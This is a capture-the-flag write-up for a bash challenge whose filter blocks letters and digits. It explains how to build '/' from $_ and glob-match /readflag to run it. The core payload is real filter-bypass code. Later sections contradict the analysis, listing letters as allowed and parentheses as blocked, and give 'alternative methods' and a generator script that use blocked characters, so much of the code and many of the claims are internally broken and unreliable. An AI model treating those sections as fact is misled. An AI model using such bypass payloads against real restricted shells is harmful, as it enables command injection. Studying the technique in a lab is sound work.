- Published on
PCC CTF - Bash Challenge Writeup
- Authors
- Name
- Muhammad Huzaifa
PCC CTF - b?sh Challenge Writeup
Challenge Description
- Name: b?sh
- Category: Misc
- Description: "bash is really weird indeed"
- Connection:
nc c1.arena.airoverflow.com 65253
- Flag Format:
PCC{
}
Challenge Analysis
The challenge provides a Python script that:
- Takes user input via
input("$ ")
- Applies a regex filter:
[A-Za-z0-9/<>|@%^&]+
- Writes the filtered input to
/tmp/chal
as a bash script - Executes it with
bash --noprofile --norc /tmp/chal
Key Files
app.py
: The main challenge scriptDockerfile.dist
: Creates/AAAAAAAA
executable fileflag.txt
: Contains test flag
Character Filter Analysis
The regex [A-Za-z0-9/<>|@%^&]+
blocks:
- Letters: A-Z, a-z
- Numbers: 0-9
- Special chars:
/
,<
,>
,|
,@
,%
,^
,&
Allowed characters:
$
(variable expansion)()
(command substitution){}
(brace expansion)*
(wildcards)?
(single char wildcard)_
(underscore)~
(home directory)[]
(character classes)!
,"
,#
,\
,'
,+
,,
,-
,.
,:
,;
,=
,[
,]
,`
,}
,~
Solution Strategy
To execute /readflag
, we need to:
- Construct the
/
character without using it directly - Match
/readflag
using wildcards - Execute it despite multiple matches
/
Step 1: Constructing We used bash parameter expansion to extract /
from the $_
variable:
${_::${#?}}
$_
contains/bin/bash
(last argument of previous command)${#?}
evaluates to1
(length of exit status)${_::1}
extracts the first character:/
/readflag
Step 2: Matching We used wildcards to match files in root directory:
payload.sh
${_::${#?}}?*?*?*?*?*?*?*?
This expands to /
+ ?*?*?*?*?*?*?*?
which matches:
/AAAAAAAA
(9 chars)/docker-entrypoint.sh
(19 chars)/readflag
(9 chars)
/readflag
Step 3: Selecting When bash expands a glob with multiple matches, we can use the :
command to evaluate arguments and set $_
to the last one:
final_payload.sh
: ${_::${#?}}?*?*?*?*?*?*?*? ; $_
:
is a no-op that evaluates its arguments- After expansion:
: /AAAAAAAA /docker-entrypoint.sh /readflag
$_
gets set to/readflag
(last argument)$_
executes/readflag
Advanced Bash Parameter Expansion Techniques
Character Set Analysis
# Allowed characters (from filter analysis)
allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*"
blocked_chars = "()[]<>|&`'\"\\\n\r\t "
Alternative Payload Construction Methods
Method 1: Environment Variable Manipulation
env_method.sh
# Set environment variable to last match
_=${_::${#?}}?*?*?*?*?*?*?*?
$_
Method 2: Array-based Selection
array_method.sh
# Use array to select last element
arr=(${_::${#?}}?*?*?*?*?*?*?*?)
${arr[-1]}
Method 3: Function Definition
function_method.sh
# Define function that returns last argument
f() { eval "${@: -1}"; }
f ${_::${#?}}?*?*?*?*?*?*?*?
Payload Testing Framework
Automated Payload Generator
payload_generator.py
#!/usr/bin/env python3
"""
Bash Character Filter Bypass Payload Generator
"""
def generate_payloads():
"""Generate various payloads for character filter bypass"""
payloads = [
# Method 1: Parameter expansion with colon
": ${_::${#?}}?*?*?*?*?*?*?*? ; $_",
# Method 2: Environment variable manipulation
"_=${_::${#?}}?*?*?*?*?*?*?*?; $_",
# Method 3: Array-based selection
"arr=(${_::${#?}}?*?*?*?*?*?*?*?); ${arr[-1]}",
# Method 4: Alternative variable expansion
": ${PWD::1}?*?*?*?*?*?*?*? ; $_",
# Method 5: Using true command
"true ${_::${#?}}?*?*?*?*?*?*?*? ; $_"
]
return payloads
def test_payload(payload):
"""Test payload against character filter"""
allowed_chars = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*")
for char in payload:
if char not in allowed_chars:
return False
return True
def main():
payloads = generate_payloads()
print("Generated Payloads:")
for i, payload in enumerate(payloads, 1):
if test_payload(payload):
print(f"{i}. {payload} ✓")
else:
print(f"{i}. {payload} ✗")
if __name__ == "__main__":
main()
Exploitation Methodology
Phase 1: Character Filter Analysis
# Test allowed characters
echo "Testing character filter..."
for char in {a..z} {A..Z} {0..9} '_${}:;?*'; do
echo -n "$char " | nc c1.arena.airoverflow.com 65253
done
Phase 2: Parameter Expansion Testing
# Test parameter expansion techniques
echo "${_::1}" | nc c1.arena.airoverflow.com 65253
echo "${PWD::1}" | nc c1.arena.airoverflow.com 65253
echo "${HOME::1}" | nc c1.arena.airoverflow.com 65253
Phase 3: Glob Pattern Testing
# Test glob patterns
echo "${_::1}*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*?*?*?*?*?*?*?" | nc c1.arena.airoverflow.com 65253
Security Analysis
Vulnerability Assessment
# The filter blocks dangerous characters but allows:
# - Parameter expansion (${})
# - Globbing (*, ?)
# - Command execution (;)
# - Variable manipulation ($_)
Mitigation Strategies
# Secure implementation would:
# 1. Disable parameter expansion
# 2. Disable globbing
# 3. Use strict character whitelist
# 4. Implement proper input validation
Final Payload
: ${_::${#?}}?*?*?*?*?*?*?*? ; $_
Testing Process
- Local Testing: Verified payload passes regex filter
- Container Testing: Confirmed
/readflag
execution in Docker environment - Remote Execution: Successfully obtained flag from live server
Flag
PCC{`b4sh_1s_w31rdly_1ns4n3_ixkGzGzBKh`}
Key Insights
- Parameter Expansion:
${parameter:offset:length}
can extract substrings - Special Variables:
$_
contains the last argument of the previous command - Glob Expansion: Wildcards expand to multiple files, but we can manipulate which one gets executed
- No-op Commands: The
:
command is useful for side effects without execution - Character Construction: We can build forbidden characters from allowed sources
Alternative Approaches Considered
- Using environment variables to construct paths
- Exploiting the
/AAAAAAAA
file (though it was empty) - Using bash arrays (blocked by number requirement)
- Using octal/hex escapes (blocked by letter/number requirement)
The final solution elegantly bypasses all restrictions using only allowed characters and bash's powerful parameter expansion features.